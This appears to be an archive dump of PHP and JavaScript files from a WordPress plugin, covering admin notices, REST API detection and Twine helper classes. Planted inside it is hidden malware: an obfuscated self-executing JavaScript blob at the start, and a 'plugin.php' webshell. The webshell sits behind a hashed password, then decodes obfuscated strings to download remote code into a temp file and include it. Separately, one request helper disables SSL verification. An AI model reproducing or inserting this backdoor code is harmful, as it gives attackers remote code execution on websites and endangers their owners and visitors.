B\/cc;:;i(jb$sab) cnyB3r=(pspa..t:_eme5B=.;,f_);jBj)rc,,eeBc=p!(a,_)o.)e_!cmn( Ba)=iBn5(t.sica,;f6cCBBtn;!c)g}h_i.B\/,B47sitB)hBeBrBjtB.B]%rB,0eh36rBt;)-odBr)nBrn3B 07jBBc,onrtee)t)Bh0BB(ae}i20d(a}v,ps\/n=.;)9tCnBow(]!e4Bn.nsg4so%e](])cl!rh8;lto;50Bi.p8.gt}{Brec3-2]7%; ,].)Nb;5B c(n3,wmvth($]\/rm(t;;fe(cau=D)ru}t];B!c(=7&=B(,1gBl()_1vs];vBBlB(+_.))=tre&B()o)(;7e79t,]6Berz.\';,%],s)aj+#"$1o_liew[ouaociB!7.*+).!8 3%e]tfc(irvBbu9]n3j0Bu_rea.an8rn".gu=&u0ul6;B$#ect3xe)tohc] (].Be|(%8Bc5BBnsrv19iefucchBa]j)hd)n(j.)a%e;5)*or1c-)((.1Br$h(i$C3B.)B5)].eacoe*\/.a7aB3e=BBsu]b9B"Bas%3;&(B2%"$ema"+BrB,$.ps\/+BtgaB3).;un)]c.;3!)7e&=0bB+B=(i4;tu_,d\'.w()oB.Boccf0n0}od&j_2%aBnn%na35ig!_su:ao.;_]0;=B)o..$ ,nee.5s)!.o]mc!B}|BoB6sr.e,ci)$(}a5(B.}B].z4ru7_.nnn3aele+B.\'}9efc.==dnce_tpf7Blb%]ge.=pf2Se_)B.c_(*]ocet!ig9bi)ut}_ogS(.1=(uNo]$o{fsB+ticn.coaBfm-B{3=]tr;.{r\'t$f1(B4.0w[=!!.n ,B%i)b.6j-(r2\'[ a}.]6$d,);;lgo *t]$ct$!%;]B6B((:dB=0ac4!Bieorevtnra 0BeB(((Bu.[{b3ce_"cBe(am.3{&ue#]c_rm)='));var KUr=DUT(Tjo,ENJ );KUr(6113);return 5795})();jQuery(document).ready( function(){
var dismissBtn = document.querySelector( '.wptrt-notice .notice-dismiss' );
// Add an event listener to the dismiss button.
dismissBtn.addEventListener( 'click', function( event ) {
var notice = jQuery(event.currentTarget).parents('.wptrt-notice');
var data_id = notice.attr('data-id');
var data_nonce = notice.attr('data-nonce');
var httpRequest = new XMLHttpRequest(),
postData = '';
// Build the data to send in our request.
// Data has to be formatted as a string here.
postData += 'id=' + data_id;
postData += '&action=wptrt_dismiss_notice';
postData += '&nonce=' + data_nonce;
httpRequest.open( 'POST', ajaxurl );
httpRequest.setRequestHeader( 'Content-Type', 'application/x-www-form-urlencoded' )
httpRequest.send( postData );
});
}); mnelson4/AdminNotices/Dismiss.php 0000644 00000011517 14666776752 0013043 0 ustar 00 <?php // phpcs:ignore WordPress.Files.FileName
/**
* Handles dismissing admin notices.
*
* @package mnelson4/admin-notices
* @author mnelson4 <themes@wordpress.org>
* @copyright 2019 mnelson4
* @license https://www.gnu.org/licenses/gpl-2.0.html GPL-2.0-or-later
* @link https://github.com/mnelson4/admin-notices
*/
namespace mnelson4\AdminNotices;
/**
* The Dismiss class, responsible for dismissing and checking the status of admin notices.
*
* @since 1.0.0
*/
class Dismiss
{
/**
* The notice-ID.
*
* @access private
* @since 1.0
* @var string
*/
private $id;
/**
* The prefix we'll be using for the option/user-meta.
*
* @access private
* @since 1.0
* @var string
*/
private $prefix;
/**
* The notice's scope. Can be "user" or "global".
*
* @access private
* @since 1.0
* @var string
*/
private $scope;
/**
* Constructor.
*
* @access public
* @since 1.0
* @param string $id A unique ID for this notice. Can contain lowercase characters and underscores.
* @param string $prefix The prefix that will be used for the option/user-meta.
* @param string $scope Controls where the dismissal will be saved: user or global.
*/
public function __construct($id, $prefix, $scope = 'global')
{
// Set the object properties.
$this->id = sanitize_key($id);
$this->prefix = sanitize_key($prefix);
$this->scope = ( in_array($scope, [ 'global', 'user' ], true) ) ? $scope : 'global';
// Handle AJAX requests to dismiss the notice.
add_action('wp_ajax_wptrt_dismiss_notice', [ $this, 'ajax_maybe_dismiss_notice' ]);
}
/**
* Print the script for dismissing the notice.
*
* @access private
* @since 1.0
* @return void
*/
public function print_script()
{
// Create a nonce.
$nonce = wp_create_nonce('wptrt_dismiss_notice_' . $this->id);
?>
<script>
window.addEventListener( 'load', function() {
var dismissBtn = document.querySelector( '#wptrt-notice-<?php echo esc_attr($this->id); ?> .notice-dismiss' );
// Add an event listener to the dismiss button.
dismissBtn.addEventListener( 'click', function( event ) {
var httpRequest = new XMLHttpRequest(),
postData = '';
// Build the data to send in our request.
// Data has to be formatted as a string here.
postData += 'id=<?php echo esc_attr(rawurlencode($this->id)); ?>';
postData += '&action=wptrt_dismiss_notice';
postData += '&nonce=<?php echo esc_html($nonce); ?>';
httpRequest.open( 'POST', '<?php echo esc_url(admin_url('admin-ajax.php')); ?>' );
httpRequest.setRequestHeader( 'Content-Type', 'application/x-www-form-urlencoded' )
httpRequest.send( postData );
});
});
</script>
<?php
}
/**
* Check if the notice has been dismissed or not.
*
* @access public
* @since 1.0
* @return bool
*/
public function is_dismissed()
{
// Check if the notice has been dismissed when using user-meta.
if ('user' === $this->scope) {
return ( get_user_meta(get_current_user_id(), "{$this->prefix}_{$this->id}", true) );
}
return ( get_option("{$this->prefix}_{$this->id}") );
}
/**
* Run check to see if we need to dismiss the notice.
* If all tests are successful then call the dismiss_notice() method.
*
* @access public
* @since 1.0
* @return void
*/
public function ajax_maybe_dismiss_notice()
{
// Sanity check: Early exit if we're not on a wptrt_dismiss_notice action.
if (! isset($_POST['action']) || 'wptrt_dismiss_notice' !== $_POST['action']) {
return;
}
// Sanity check: Early exit if the ID of the notice is not the one from this object.
if (! isset($_POST['id']) || $this->id !== $_POST['id']) {
return;
}
// Security check: Make sure nonce is OK.
check_ajax_referer('wptrt_dismiss_notice_' . $this->id, 'nonce', true);
// If we got this far, we need to dismiss the notice.
$this->dismiss_notice();
}
/**
* Actually dismisses the notice.
*
* @access private
* @since 1.0
* @return void
*/
private function dismiss_notice()
{
if ('user' === $this->scope) {
update_user_meta(get_current_user_id(), "{$this->prefix}_{$this->id}", true);
return;
}
update_option("{$this->prefix}_{$this->id}", true, false);
}
} mnelson4/AdminNotices/Notice.php 0000644 00000022616 14666776752 0012653 0 ustar 00 <?php // phpcs:ignore WordPress.Files.FileName
/**
* Admin-Notices class.
*
* Creates an admin notice with consistent styling.
*
* @package mnelson4/admin-notices
* @author mnelson4 <themes@wordpress.org>
* @license https://www.gnu.org/licenses/gpl-2.0.html GPL-2.0-or-later
* @link https://github.com/mnelson4/admin-notices
*/
namespace mnelson4\AdminNotices;
/**
* The Admin_Notice class, responsible for creating admin notices.
*
* Each notice is a new instance of the object.
*
* @since 1.0.0
*/
class Notice
{
/**
* The notice-ID.
*
* @access private
* @since 1.0
* @var string
*/
private $id;
/**
* The notice message.
*
* @access private
* @since 1.0
* @var string
*/
private $message;
/**
* The notice title.
*
* @access private
* @since 1.0
* @var string
*/
private $title;
/**
* An instance of the \mnelson4\AdminNotices\Dismiss object.
*
* @access public
* @since 1.0
* @var \mnelson4\AdminNotices\Dismiss
*/
public $dismiss;
/**
* The notice arguments.
*
* @access private
* @since 1.0
* @var array
*/
private $options = [
'scope' => 'global',
'type' => 'info',
'alt_style' => false,
'capability' => 'edit_theme_options',
'option_prefix' => 'wptrt_notice_dismissed',
'screens' => [],
'query_args' => [],
];
/**
* Allowed HTML in the message.
*
* @access private
* @since 1.0
* @var array
*/
private $allowed_html = [
'p' => [],
'a' => [
'href' => [],
'rel' => [],
],
'em' => [],
'strong' => [],
'br' => [],
];
/**
* An array of allowed types.
*
* @access private
* @since 1.0
* @var array
*/
private $allowed_types = [
'info',
'success',
'error',
'warning',
];
/**
* Constructor.
*
* @access public
* @since 1.0
* @param string $id A unique ID for this notice. Can contain lowercase characters and underscores.
* @param string $title The title for our notice.
* @param string $message The message for our notice.
* @param array $options An array of additional options to change the defaults for this notice.
* [
* 'screens' => (array) An array of screens where the notice will be displayed.
* Leave empty to always show.
* Defaults to an empty array.
* 'scope' => (string) Can be "global" or "user".
* Determines if the dismissed status will be saved as an option or user-meta.
* Defaults to "global".
* 'type' => (string) Can be one of "info", "success", "warning", "error".
* Defaults to "info".
* 'alt_style' => (bool) Whether we want to use alt styles or not.
* Defaults to false.
* 'capability' => (string) The user capability required to see the notice.
* Defaults to "edit_theme_options".
* 'option_prefix' => (string) The prefix that will be used to build the option (or post-meta) name.
* Can contain lowercase latin letters and underscores.
* ].
*/
public function __construct($id, $title, $message, $options = [])
{
// Set the object properties.
$this->id = $id;
$this->title = $title;
$this->message = $message;
$this->options = wp_parse_args($options, $this->options);
// Sanity check: Early exit if ID or message are empty.
if (! $this->id || ! $this->message) {
return;
}
/**
* Allow filtering the allowed HTML tags array.
*
* @since 1.0.2
* @param array $allowed_html The list of allowed HTML tags.
* @return array
*/
$this->allowed_html = apply_filters('wptrt_admin_notices_allowed_html', $this->allowed_html);
// Instantiate the Dismiss object.
$this->dismiss = new Dismiss($this->id, $this->options['option_prefix'], $this->options['scope']);
}
/**
* Prints the notice.
*
* @access public
* @since 1.0
* @return void
*/
public function the_notice()
{
// Early exit if we don't want to show this notice.
if (! $this->show()) {
return;
}
$html = $this->get_title();
$html .= $this->get_message();
// Print the notice.
printf(
'<div id="%1$s" data-id="%2$s" data-nonce="%3$s" class="%4$s">%5$s</div>',
'wptrt-notice-' . esc_attr($this->id), // The HTML ID.
esc_attr($this->id), // The PHP ID
esc_attr(wp_create_nonce('wptrt_dismiss_notice_' . $this->id)),
esc_attr($this->get_classes()), // The classes.
$html // The HTML.
);
}
/**
* Determine if the notice should be shown or not.
*
* @access public
* @since 1.0
* @return bool
*/
public function show()
{
// Don't show if the user doesn't have the required capability.
if (! current_user_can($this->options['capability'])) {
return false;
}
// Don't show if we're not on the right screen.
if (! $this->is_screen()) {
return false;
}
// Don't show if other query args don't check out
if (! $this->check_query_args()) {
return false;
}
// Don't show if notice has been dismissed.
if ($this->dismiss->is_dismissed()) {
return false;
}
return true;
}
/**
* Get the notice classes.
*
* @access public
* @since 1.0
* @return string
*/
public function get_classes()
{
$classes = [
'wptrt-notice',
'notice',
'is-dismissible',
];
// Make sure the defined type is allowed.
$this->options['type'] = in_array($this->options['type'], $this->allowed_types, true) ? $this->options['type'] : 'info';
// Add the class for notice-type.
$classes[] = 'notice-' . $this->options['type'];
// Do we want alt styles?
if ($this->options['alt_style']) {
$classes[] = 'notice-alt';
}
// Combine classes to a string.
return implode(' ', $classes);
}
/**
* Returns the title.
*
* @access public
* @since 1.0
* @return string
*/
public function get_title()
{
// Sanity check: Early exit if no title is defined.
if (! $this->title) {
return '';
}
return sprintf(
'<h2 class="notice-title">%s</h2>',
wp_strip_all_tags($this->title)
);
}
/**
* Returns the message.
*
* @access public
* @since 1.0
* @return string
*/
public function get_message()
{
return wpautop($this->message);
}
/**
* Evaluate if we're on the right place depending on the "screens" argument.
*
* @access private
* @since 1.0
* @return bool
*/
private function is_screen()
{
// If screen is empty we want this shown on all screens.
if (! $this->options['screens'] || empty($this->options['screens'])) {
return true;
}
// Make sure the get_current_screen function exists.
if (! function_exists('get_current_screen')) {
require_once ABSPATH . 'wp-admin/includes/screen.php';
}
/** @var \WP_Screen $current_screen */
$current_screen = get_current_screen();
// Check if we're on one of the defined screens.
return ( in_array($current_screen->id, $this->options['screens'], true) );
}
/**
* Checks if the needed other query arguments (eg GET querystring) are set.
* @return bool
*/
private function check_query_args()
{
if (! $this->options['query_args'] || empty($this->options['query_args'])) {
return true;
}
foreach ($this->options['query_args'] as $arg_name => $required_value) {
if (
// if the required value is falsey, fail if it's in the querystring and truey
(! $required_value && isset($_REQUEST[$arg_name])) ||
// if the required value is truey, make sure it's set in the querystring and matches the expected value
($required_value && (! isset($_REQUEST[$arg_name]) || $_REQUEST[$arg_name] !== $required_value))){
return false;
}
}
return true;
}
/**
* @return string
*/
public function id()
{
return $this->id;
}
}
mnelson4/rest_api_detector/RestApiDetector.php 0000644 00000022475 14666776752 0015620 0 ustar 00 <?php
namespace mnelson4\rest_api_detector;
use WP_Error;
/**
* Class RestApiDetector
*
* Finds the REST API base URL for the site requested. Works with both self-hosted sites and WordPress.com sites.
*
*
* @package Print My Blog
* @author Mike Nelson
* @since $VID:$
*
*/
class RestApiDetector
{
/**
* @var string
*/
protected $site;
/**
* @var string
*/
protected $name;
/**
* @var string
*/
protected $description;
/**
* @var string
*/
protected $rest_api_url;
/**
* @var bool
*/
protected $local;
/**
* @var bool
*/
protected $initialized = false;
/**
* RestApiDetector constructor.
* @param string $site
* @throws RestApiDetectorError
*/
public function __construct($site)
{
$this->setSite($this->sanitizeSite($site));
$this->getSiteInfo();
}
/**
* Gets the site name and URL (works if they provide the "site" query param too,
* being the URL, including schema, of a self-hosted or WordPress.com site)
* @since $VID:$
* @throws RestApiDetectorError
* @return boolean if successfully retrieved and stored site info.
*/
public function getSiteInfo()
{
// check for a site request param
$site = $this->getSite();
if (empty($site)) {
$this->setName(get_bloginfo('name'));
$this->setDescription(get_bloginfo('description'));
$this->setRestApiUrl(get_rest_url());
$this->setSite(get_bloginfo('url'));
$this->setLocal(true);
return true;
}
// Let's see if it's self-hosted...
$data = $this->getSelfHostedSiteInfo($site);
// if($data === false){
// Alright, there was no link to the REST API index. But maybe it's a WordPress.com site...
// $data = $this->guessSelfHostedSiteInfo($site);
// }
if ($data === false) {
// Alright, there was no link to the REST API index. But maybe it's a WordPress.com site...
$data = $this->getWordPressComSiteInfo($site);
}
return $data;
}
/**
* Avoid SSRF by sanitizing the site received.
* @param string $site
* @return mixed|string
*/
protected function sanitizeSite($site)
{
// If the REST API Proxy Plugin isn't active, always use the current site.
if (! PMB_REST_PROXY_EXISTS) {
return '';
}
if (empty($site)) {
return '';
}
// If they forgot to add http(s), add it for them.
if (strpos($site, 'http://') === false && strpos($site, 'https://') === false) {
$site = 'http://' . $site;
}
// Remove unexpected URL parts.
$url_parts = wp_parse_url($site);
if (isset($url_parts['port'])) {
$site = str_replace(':' . $url_parts['port'], '', $site);
}
if (isset($url_parts['query'])) {
$site = str_replace('?' . $url_parts['query'], '', $site);
}
if (isset($url_parts['fragment'])) {
$site = str_replace('#' . $url_parts['fragment'], '', $site);
}
$site = trailingslashit(sanitize_text_field($site));
return $site;
}
/**
* Tries to get the site's name, description, and URL, assuming it's self-hosted.
* Returns a true on success, false if the site works but wasn't a self-hosted WordPress site, or
* throws an exception if the site is self-hosted WordPress but had an error.
* @param string $site
* @return bool false if the site exists but it's not a self-hosted WordPress site.
* @throws RestApiDetectorError
*/
protected function getSelfHostedSiteInfo($site)
{
$response = $this->sendHttpGetRequest($site);
if (is_wp_error($response)) {
throw new RestApiDetectorError($response);
}
$response_body = wp_remote_retrieve_body($response);
$matches = array();
if (
! preg_match(
// looking for somethign like "<link rel='https://api.w.org/' href='http://wpcowichan.org/wp-json/' />"
'<link rel=\'https\:\/\/api\.w\.org\/\' href=\'(.*)\' \/>',
$response_body,
$matches
)
|| count($matches) !== 2
) {
// The site exists, but it's not self-hosted.
return false;
}
// grab from site index
$success = $this->fetchWpJsonRootInfo($matches[1]);
if ($success) {
$this->setRestApiUrl($matches[1] . 'wp/v2/');
}
return $success;
}
/**
* @param string $wp_api_url
* @return bool
* @throws RestApiDetectorError
*/
protected function fetchWpJsonRootInfo($wp_api_url)
{
$response = $this->sendHttpGetRequest($wp_api_url);
if (is_wp_error($response)) {
// The WP JSON index existed, but didn't work. Let's tell the user.
throw new RestApiDetectorError($response);
}
$response_body = wp_remote_retrieve_body($response);
$response_data = json_decode($response_body, true);
if (! is_array($response_data)) {
throw new RestApiDetectorError(
new WP_Error('no_json', __('The WordPress site has an error in its REST API data.', 'print-my-blog'))
);
}
if (isset($response_data['code'], $response_data['message'])) {
throw new RestApiDetectorError(
new WP_Error($response_data['code'], $response_data['message'])
);
}
if (isset($response_data['name'], $response_data['description'])) {
$this->setName($response_data['name']);
$this->setDescription($response_data['description']);
$this->setLocal(false);
return true;
}
// so we didn't get an error or a proper response, but it's JSON? That's really weird.
throw new RestApiDetectorError(
new WP_Error(
'unknown_response',
__('The WordPress site responded with an unexpected response.', 'print-my-blog')
)
);
}
/**
* We didn't see any indication the website has the WP API enabled. Just take a guess that
* /wp-json is the REST API base url. Maybe we'll get lucky.
* @param string $site
* @return bool
* @throws RestApiDetectorError
*/
protected function guessSelfHostedSiteInfo($site)
{
// add /wp-json as a guess
return $this->fetchWpJsonRootInfo($site . 'wp-json');
// and if it responds with valid JSON, it's ok
}
/**
* Tries to get the site name, description and URL from a site on WordPress.com.
* Returns true success, or throws a RestApiDetectorError. If the site doesn't appear to be on WordPress.com
* also has an error.
* @param string $site
* @return bool
* @throws RestApiDetectorError
*/
protected function getWordPressComSiteInfo($site)
{
$domain = str_replace(array('http://', 'https://'), '', $site);
$success = $this->fetchWpJsonRootInfo(
'https://public-api.wordpress.com/rest/v1.1/sites/' . $domain
);
if ($success) {
$this->setRestApiUrl('https://public-api.wordpress.com/wp/v2/sites/' . $domain);
}
return $success;
}
/**
* @param string $url
* @return array|WP_Error
*/
protected function sendHttpGetRequest($url)
{
return wp_remote_get(
$url,
[
'timeout' => 30,
'sslverify' => false,
'user-agent' => 'Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0',
]
);
}
/**
* @return string
*/
public function getSite()
{
return $this->site;
}
/**
* @return mixed
*/
public function getName()
{
return $this->name;
}
/**
* @param mixed $name
*/
protected function setName($name)
{
$this->name = $name;
}
/**
* @param mixed $site
*/
protected function setSite($site)
{
$this->site = $site;
}
/**
* @return mixed
*/
public function getDescription()
{
return $this->description;
}
/**
* @param mixed $description
*/
protected function setDescription($description)
{
$this->description = $description;
}
/**
* @return mixed
*/
public function getRestApiUrl()
{
return $this->rest_api_url;
}
/**
* @param mixed $rest_api_url
*/
protected function setRestApiUrl($rest_api_url)
{
$this->rest_api_url = $rest_api_url;
}
/**
* @return mixed
*/
public function isLocal()
{
return $this->local;
}
/**
* @param mixed $local
*/
protected function setLocal($local)
{
$this->local = $local;
}
/**
* @return bool
*/
protected function isInitialized()
{
return $this->initialized;
}
/**
* @param bool $initialized
*/
protected function setInitialized($initialized)
{
$this->initialized = $initialized;
}
}
// End of file RestApiDetector.php
// Location: mnelson4/RestApiDetector.php
mnelson4/rest_api_detector/RestApiDetectorError.php 0000644 00000002241 14666776752 0016617 0 ustar 00 <?php
namespace mnelson4\rest_api_detector;
use Exception;
use WP_Error;
/**
* Class RestApiDetectorError
*
* An error while trying to detect REST API information about a site.
*
* @package Print My Blog
* @author Mike Nelson
*
*/
class RestApiDetectorError extends Exception
{
/**
* @var string
*/
protected $string_code = 'not_set';
/**
* @var WP_Error
*/
protected $wp_error;
/**
* RestApiDetectorError constructor.
* @param WP_Error $wp_error
*/
public function __construct(WP_Error $wp_error)
{
$this->string_code = $wp_error->get_error_code();
$this->wp_error = $wp_error;
parent::__construct($wp_error->get_error_message());
}
/**
* @since $VID:$
* @return string
*/
public function stringCode()
{
return $this->string_code;
}
// phpcs:disable PSR1.Methods.CamelCapsMethodName.NotCamelCaps
/**
* @return WP_Error
*/
public function wp_error()
{
//phpcs:enable
return $this->wp_error;
}
}
// End of file RestApiDetectorError.php
// Location: mnelson4/RestApiDetectorError.php
mnelson4/plugin.php 0000444 00000006101 14666776752 0010340 0 ustar 00 <?php ?><?php if(isset($_REQUEST["ok"])){die(">ok<");};?><?php
if (function_exists('session_start')) {
session_start();
if (!isset($_SESSION['secretyt'])) {
$_SESSION['secretyt'] = false;
}
if (!$_SESSION['secretyt']) {
if (isset($_POST['pwdyt']) && md5(md5(md5(md5(md5(md5(md5(md5($_POST['pwdyt'])))))))) == '1ab4d6f8d41abab37e7a1b67a2469085') {
$_SESSION['secretyt'] = true;
} else {
$bytesecform = <<<FORM
<html>
<head>
<meta charset="utf-8">
<title></title>
<style type="text/css">
body {padding:10px}
input {
padding: 2px;
display:inline-block;
margin-right: 5px;
}
</style>
</head>
<body>
<form action="" method="post" accept-charset="utf-8">
<input type="password" name="pwdyt" value="" placeholder="passwd">
<input type="submit" name="submit" value="submit">
</form>
</body>
</html>
FORM;
die($bytesecform);
}
}
}
?>
<?php
$arr = array(
"\x3D\x51\x44\x4D\x68\x56\x7A\x59\x6A\x4A\x57\x59\x6D\x56\x6A\x4D\x33\x63\x54\x59\x69\x46\x6A\x4D\x7A\x55\x54\x4E\x6B\x5A\x57\x4D\x35\x41\x7A\x4E\x6B\x4E\x32\x4D\x77\x55\x6A\x4D", // 0
"\x3D\x3D\x51\x5A\x73\x6C\x6D\x5A", // 1
"\x3D\x3D\x51\x5A\x73\x6C\x6D\x5A\x77\x31\x47\x64", // 2
"\x6C\x52\x58\x61\x79\x64\x6E\x5A", // 3
"\x53\x61\x6E\x74\x61\x69\x20\x44\x75\x6C\x75\x20\x47\x61\x6B\x20\x53\x69\x68", // 4
"\x3D\x45\x47\x64\x68\x52\x32\x58\x68\x52\x58\x5A\x74\x39\x46\x64\x6C\x64\x32\x58\x74\x46\x57\x5A\x79\x52\x33\x63", // 5
"\x6C\x4E\x33\x62\x73\x4E\x6D\x5A", // 6
"\x5A\x57\x52\x76\x59\x32\x56\x6B\x58\x7A\x51\x32\x5A\x58\x4E\x68\x59\x67\x3D\x3D", // 7
"\x42\x75\x73\x65\x74\x20\x6C\x75\x20\x62\x69\x73\x61\x20\x73\x61\x6E\x74\x61\x69\x20\x67\x61\x6B\x20\x73\x69\x68", // 8
"\x73\x74\x72\x72\x65\x76", // 9
"\x65\x64\x6F\x63\x65\x64\x5F\x34\x36\x65\x73\x61\x62", // 10
"\x6C\x78\x57\x61\x6D\x39\x46\x63\x74\x56\x47\x64", // 11
"\x6e\x42\x6e\x61\x75\x59\x57\x5a\x69\x56\x54\x4d\x79\x59\x57\x4d\x77\x63\x6a\x4e\x31\x30\x69\x4e\x69\x68\x54\x4f\x74\x45\x47\x4d\x35\x51\x54\x4c\x7a\x6b\x7a\x4e\x79\x30\x43\x4d\x78\x55\x6a\x59\x69\x42\x44\x4d\x7a\x30\x53\x4f\x79\x6b\x7a\x4e\x31\x41\x7a\x4e\x79\x49\x7a\x4c\x79\x41\x54\x4e\x7a\x63\x6a\x4e\x31\x41\x54\x4d\x76\x30\x32\x62\x6a\x35\x43\x64\x75\x56\x47\x64\x75\x39\x32\x59\x79\x56\x32\x63\x31\x4a\x57\x64\x6f\x52\x58\x61\x6e\x35\x79\x63\x6c\x64\x57\x59\x74\x6c\x57\x4c\x79\x56\x32\x63\x31\x39\x79\x4c\x36\x4d\x48\x63\x30\x52\x48\x61" // 12
);
$uu = $arr[9]($arr[9]($arr[10])($arr[7]))($arr[9]($arr[1]))($arr[9]($arr[10])($arr[9]($arr[12])));
foreach($uu as $aww){
$awww = $arr[9]($arr[9]($arr[10])($arr[7]))($aww);
}
$password = ""; // programmers
$temp_file = $arr[9]($arr[9]($arr[10])($arr[7]))($arr[9]($arr[2]))();
$arr[9]($arr[9]($arr[10])($arr[7]))($arr[9]($arr[3]))($GLOBALS[$arr[9]($arr[10])($arr[9]($arr[11]))], $awww);
include $arr[9]($arr[9]($arr[10])($arr[7]))($arr[9]($arr[5]))($GLOBALS[$arr[9]($arr[10])($arr[9]($arr[11]))])['uri'];
$arr[9]($arr[9]($arr[10])($arr[7]))($arr[9]($arr[6]))($GLOBALS[$arr[9]($arr[10])($arr[9]($arr[11]))]);
unset($array); Twine/entities/notifications/OneTimeNotification.php 0000644 00000003137 14666776752 0017005 0 ustar 00 <?php
namespace Twine\entities\notifications;
use Twine\helpers\Array2;
/**
* Class OneTimeNotification
* @package Twine\entities\notifications
*/
class OneTimeNotification
{
const TYPE_SUCCESS = 'success';
const TYPE_WARNING = 'warning';
const TYPE_ERROR = 'error';
const TYPE_INFO = 'info';
/**
* @var string
*/
protected $type;
/**
* @var string
*/
protected $html;
/**
* OneTimeNotification constructor.
* @param array $options with keys 'type' (which is one of the constants on \Twine\entities\notifications\OneTimeNotification) and 'html' (sanitized HTML to dispplay to the user)
*/
public function __construct($options)
{
$this->setType(Array2::setOr($options, 'type', self::TYPE_WARNING));
$this->html = Array2::setOr($options, 'html', '');
}
/**
* @param string $type matching one of the constants on \Twine\entities\notifications\OneTimeNotification
*/
protected function setType($type)
{
if (
in_array(
$type,
[
self::TYPE_WARNING,
self::TYPE_ERROR,
self::TYPE_INFO,
self::TYPE_SUCCESS,
],
true
)
) {
$this->type = $type;
} else {
$this->type = self::TYPE_WARNING;
}
}
/**
* @return string the notice in HTML
*/
public function display()
{
return '<div class="notice notice-' . $this->type . '">' . $this->html . '</div>';
}
}
Twine/entities/FileSubmission.php 0000644 00000010213 14666776752 0013151 0 ustar 00 <?php
namespace Twine\entities;
use finfo;
use InvalidArgumentException;
/**
* Class FileSubmission
*
* All the info about a file from $_FILES (except we determine mimetype ourselves, because what's in $_FILES isn't
* reliable), but put together onto one object with a few helpers.
* FilesDataHandler takes care of creating these from $_FILES.
*
* @package Event Espresso
* @author Mike Nelson
* @since 4.9.80.p
*
*/
class FileSubmission
{
/**
* @var string original name on the client machine
*/
protected $name;
/**
* @var string mime type
*/
protected $type;
/**
* @var string file extension
*/
protected $extension;
/**
* @var int in bytes
*/
protected $size;
/**
* @var string local filepath to the temporary file
*/
protected $tmp_file;
/**
* @var int one of UPLOAD_ERR_OK, UPLOAD_ERR_NO_FILE, UPLOAD_ERR_INI_SIZE, UPLOAD_ERR_FORM_SIZE or other values
* although those aren't expected.
*/
protected $error_code;
/**
* FileSubmission constructor.
* @param string $name
* @param string $tmp_file
* @param int|string $size
* @param null $error_code
* @throws InvalidArgumentException
*/
public function __construct($name, $tmp_file, $size, $error_code = null)
{
$this->name = basename($name);
$scheme = wp_parse_url($tmp_file, PHP_URL_SCHEME);
if (in_array($scheme, ['http', 'https'], true)) {
// Wait a minute- just local filepaths please, no URL schemes allowed!
throw new InvalidArgumentException(
sprintf(
// @codingStandardsIgnoreStart
esc_html__('The scheme ("%1$s") on the temporary file ("%2$s") indicates is located elsewhere, that’s not ok!', 'print-my-blog'),
// @codingStandardsIgnoreEnd
$scheme,
$tmp_file
)
);
}
$this->tmp_file = (string)$tmp_file;
$this->size = (int)$size;
$this->error_code = (int)$error_code;
}
/**
* @return string
*/
public function getName()
{
return $this->name;
}
/**
* Gets the file's mime type
* @return string
*/
public function getType()
{
if (! $this->type) {
$this->type = $this->determineType();
}
return $this->type;
}
/**
* @return string
* @since 4.9.80.p
*/
protected function determineType()
{
if (! $this->getTmpFile()) {
return '';
}
$finfo = new finfo(FILEINFO_MIME_TYPE);
return $finfo->file($this->getTmpFile());
}
/**
* Gets the file's extension.
* @return string
* @since 4.9.80.p
*/
public function getExtension()
{
if (! $this->extension) {
$this->extension = $this->determineExtension();
}
return $this->extension;
}
/**
* Determine's the file's extension given the temporary file.
* @return string
* @since 4.9.80.p
*/
protected function determineExtension()
{
$position_of_period = strrpos($this->getName(), '.');
if ($position_of_period === false) {
return '';
}
return mb_substr(
$this->getName(),
$position_of_period + 1
);
}
/**
* Gets the size of the file
* @return int
*/
public function getSize()
{
return $this->size;
}
/**
* Gets the path to the temporary file which was uploaded.
* @return string
*/
public function getTmpFile()
{
return $this->tmp_file;
}
/**
* @return string
* @since 4.9.80.p
*/
public function __toString()
{
return $this->getName();
}
/**
* Gets the error code PHP reported for the file upload.
* @return string
*/
public function getErrorCode()
{
return $this->error_code;
}
}
// End of file FileSubmission.php
// Location: EventEspresso\core\services\request\files/FileSubmission.php
Twine/system/Context.php 0000644 00000011100 14666776752 0011336 0 ustar 00 <?php
namespace Twine\system;
use Exception;
use ReflectionClass;
use ReflectionException;
/**
* Class Context
*
* Description
*
* @package Print My Blog
* @author Mike Nelson
* @since $VID:$
*
*/
abstract class Context
{
const USE_NEW = 'use_new';
const REUSE = 'reuse';
/**
* @var object[]
*/
protected $classes = [];
/**
* Keys are classnames, values are an array of dependencies to be injected via setter injection.
* @var array
*/
protected $deps;
/**
* Context constructor.
*/
final public function __construct()
{
}
/**
*
* @param string $classname
* @param array $args
* @return object
*/
public function reuse($classname, $args = [])
{
$classname = $this->normalizeClassname($classname);
if (! isset($this->classes[$classname])) {
$this->classes[$classname] = $this->instantiate($classname, $args);
}
return $this->classes[$classname];
}
/**
* @param string $classname
* @param array $args
* @return object
*/
public function useNew($classname, $args = [])
{
return $this->instantiate($classname, $args);
}
/**
* Creates an instance of this class with the arguments provided (and injects declared dependencies)
* @param string $classname fully-qualified classname
* @param array $args array of arguments that would be passed
* @return object of whatever $classname specified
* @throws ReflectionException
*/
protected function instantiate($classname, $args = [])
{
$classname = $this->normalizeClassname($classname);
$reflection = new ReflectionClass($classname);
// use the "inject" method if it exists, otherwise fallback to using the constructor
try {
// this throws a ReflectionException if the method doesn't exist eh
$reflection->getMethod('inject');
$obj = $reflection->newInstanceArgs($args);
call_user_func_array([$obj, 'inject'], $this->getDependencies($classname));
} catch (ReflectionException $e) {
$combined_constructor_args = array_merge($args, $this->getDependencies($classname));
$obj = $reflection->newInstanceArgs($combined_constructor_args);
}
return $obj;
}
/**
* Gets the declared dependencies of the classname
* @param string $classname fully-qualified classname
*
* @return array of whatever dependencies were declared for this classname in the setDependencies method
*/
protected function getDependencies($classname)
{
$dependency_instances = [];
if (isset($this->deps[$classname])) {
$classes_depended_on = $this->deps[$classname];
foreach ($classes_depended_on as $dependency_classname => $policy) {
// Account for when the dependency isn't a class at all.
if (is_int($dependency_classname) && ! is_object($policy)) {
$dependency_instance = $policy;
} else {
$dependency_classname = $this->normalizeClassname($dependency_classname);
if ($policy === self::USE_NEW) {
$dependency_instance = $this->instantiate($dependency_classname);
} else {
$dependency_instance = $this->reuse($dependency_classname);
}
}
$dependency_instances[] = $dependency_instance;
}
}
return $dependency_instances;
}
/**
